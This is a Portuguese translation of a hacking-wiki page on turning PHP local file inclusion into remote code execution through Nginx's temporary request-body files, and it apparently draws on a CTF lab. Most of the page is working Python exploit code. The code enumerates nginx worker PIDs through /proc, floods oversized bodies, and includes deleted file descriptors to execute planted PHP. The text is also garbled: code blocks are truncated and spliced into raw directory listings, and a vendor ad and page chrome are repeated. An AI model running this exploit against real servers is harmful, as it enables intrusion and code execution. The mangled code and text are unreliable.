LFI2RCE via arquivos temporários do Nginx

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WhiteIntel é um mecanismo de busca alimentado pela dark web que oferece funcionalidades gratuitas para verificar se uma empresa ou seus clientes foram comprometidos por malwares de roubo.

O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares de roubo de informações.

Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:

{% embed url="https://whiteintel.io" %}

Configuração vulnerável

Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

Código PHP:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Observação: Não é possível incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Essa restrição mínima pode ser contornada por alguma indireção como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo deletado `/var/lib/nginx/body/0000001368`. ## Exploração Completa ```python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] nginx worker found: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # fazer upload de um corpo de cliente grande para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('[+] starting uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send_payload_worker(requests_session): while True: send_payload(requests_session)

def send_payload_multiprocess(requests_session): # Use all CPUs to send the payload as request body for Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()

def generate_random_path_prefix(nginx_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho ProcFS. Um caminho gerado terá a aparência de /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # As flags são formatadas como hxp{} if "hxp" in d: print("Encontrada flag! ") print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids): # Escaneia os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da solicitação abra dentro desta faixa for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()

def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] Criando sessão de solicitações') requests_session = create_requests_session() print('\[DEBUG] Obtendo PIDs do Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] PIDs do Nginx: {nginx_pids}') print('\[DEBUG] Iniciando envio de payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Iniciando leitores de FD') read_file_multiprocess(requests_session, nginx_pids)


## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.

Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.

You can check their website and try their engine for **free** at:

<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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</details>

8.7 KiB Raw Blame History

LFI2RCE via arquivos temporários do Nginx

WhiteIntel

Configuração vulnerável

8.7 KiB

Raw Blame History